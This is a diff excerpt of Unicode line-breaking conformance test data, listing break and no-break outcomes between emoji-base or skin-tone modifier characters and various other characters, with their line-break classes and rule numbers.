+× 261D × 0308 × 0020 ÷ 0025 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 261D ÷ 0024 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 261D × 0020 ÷ 0024 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 261D × 0308 ÷ 0024 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 0024 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 261D × 0022 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 261D × 0020 ÷ 0022 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 261D × 0308 × 0022 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 0022 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 261D × 0020 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [0.3]
+× 261D × 0020 × 0020 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 261D × 0308 × 0020 × 0020 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 261D × 002F ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 261D × 0020 × 002F ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 261D × 0308 × 002F ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 261D × 0308 × 0020 × 002F ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 261D × 2060 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 261D × 0020 × 2060 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 261D × 0308 × 2060 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 261D × 0308 × 0020 × 2060 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 261D × 200B ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 261D × 0020 × 200B ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 261D × 0308 × 200B ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 261D × 0308 × 0020 × 200B ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 261D ÷ 1F1E6 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 261D × 0020 ÷ 1F1E6 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 261D × 0308 ÷ 1F1E6 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 261D ÷ 261D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 261D × 0020 ÷ 261D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 261D × 0308 ÷ 261D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 261D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 261D × 1F3FB ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [30.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 261D × 0020 ÷ 1F3FB ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 261D × 0308 × 1F3FB ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [30.2] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 261D × 0001 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 261D × 0020 ÷ 0001 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 261D × 0308 × 0001 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 0001 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 261D × 200D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 261D × 0020 ÷ 200D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 261D × 0308 × 200D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 200D ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 261D ÷ 00A7 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 261D × 0020 ÷ 00A7 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 261D × 0308 ÷ 00A7 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 261D ÷ 50005 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 261D × 0020 ÷ 50005 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 261D × 0308 ÷ 50005 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 50005 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 261D ÷ 0E01 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 261D × 0020 ÷ 0E01 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 261D × 0308 ÷ 0E01 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 261D × 3041 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 261D × 0020 ÷ 3041 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 261D × 0308 × 3041 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 261D × 0308 × 0020 ÷ 3041 ÷ # × [0.3] WHITE UP POINTING INDEX (EB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 1F3FB ÷ 0023 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 1F3FB × 0020 ÷ 0023 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 1F3FB × 0308 ÷ 0023 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 0023 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 1F3FB ÷ 2014 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 1F3FB × 0020 ÷ 2014 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 1F3FB × 0308 ÷ 2014 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 2014 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 1F3FB × 0009 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 1F3FB × 0020 ÷ 0009 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 1F3FB × 0308 × 0009 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 0009 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 1F3FB ÷ 00B4 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 1F3FB × 0020 ÷ 00B4 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 1F3FB × 0308 ÷ 00B4 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 1F3FB × 000B ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 1F3FB × 0020 × 000B ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 1F3FB × 0308 × 000B ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 000B ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 1F3FB ÷ FFFC ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 1F3FB × 0020 ÷ FFFC ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 1F3FB × 0308 ÷ FFFC ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ FFFC ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 1F3FB × 007D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 1F3FB × 0020 × 007D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 1F3FB × 0308 × 007D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 007D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 1F3FB × 0029 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 1F3FB × 0020 × 0029 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 1F3FB × 0308 × 0029 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 0029 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 1F3FB × 000D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 1F3FB × 0020 × 000D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 1F3FB × 0308 × 000D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 000D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 1F3FB × 0021 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 1F3FB × 0020 × 0021 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 1F3FB × 0308 × 0021 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 0021 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 1F3FB × 00A0 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
+× 1F3FB × 0020 ÷ 00A0 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 1F3FB × 0308 × 00A0 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 1F3FB ÷ AC00 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 1F3FB × 0020 ÷ AC00 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 1F3FB × 0308 ÷ AC00 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ AC00 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 1F3FB ÷ AC01 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 1F3FB × 0020 ÷ AC01 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 1F3FB × 0308 ÷ AC01 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ AC01 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 1F3FB ÷ 05D0 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 1F3FB × 0020 ÷ 05D0 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 1F3FB × 0308 ÷ 05D0 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 1F3FB × 002D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 1F3FB × 0020 ÷ 002D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 1F3FB × 0308 × 002D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 002D ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 1F3FB ÷ 231A ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 1F3FB × 0020 ÷ 231A ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 1F3FB × 0308 ÷ 231A ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 231A ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 1F3FB × 2024 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [22.03] ONE DOT LEADER (IN) ÷ [0.3]
+× 1F3FB × 0020 ÷ 2024 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 1F3FB × 0308 × 2024 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.03] ONE DOT LEADER (IN) ÷ [0.3]
+× 1F3FB × 0308 × 0020 ÷ 2024 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 1F3FB × 002C ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [13.02] COMMA (IS) ÷ [0.3]
+× 1F3FB × 0020 × 002C ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 1F3FB × 0308 × 002C ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 1F3FB × 0308 × 0020 × 002C ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 1F3FB ÷ 1100 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 1F3FB × 0020 ÷ 1100 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 1F3FB × 0308 ÷ 1100 ÷ # × [0.3] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
